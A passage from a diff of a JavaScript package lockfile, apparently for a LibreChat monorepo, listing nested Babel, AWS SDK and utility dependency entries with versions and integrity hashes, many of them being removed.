"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="], "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-web-identity/@aws-sdk/nested-clients/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], @@ -8761,387 +8483,33 @@ "@langchain/google-gauth/google-auth-library/gaxios/rimraf/glob": ["glob@10.5.0", "", { "dependencies": { "foreground-child": "^3.1.0", "jackspeak": "^3.1.2", "minimatch": "^9.0.4", "minipass": "^7.1.2", "package-json-from-dist": "^1.0.0", "path-scurry": "^1.11.1" }, "bin": "dist/esm/bin.mjs" }, "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg=="], - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="], - - "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="], - - "@librechat/client/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.28.3", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.3", "@babel/types": "^7.28.2" } }, "sha512-zdf983tNfLZFletc0RRXYrHrucBEg95NIFMkn6K9dbeMYnsgHaSBGcQqdsCSStG2PYwRre0Qc2NNSCXbG+xc6g=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], - - "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], - - 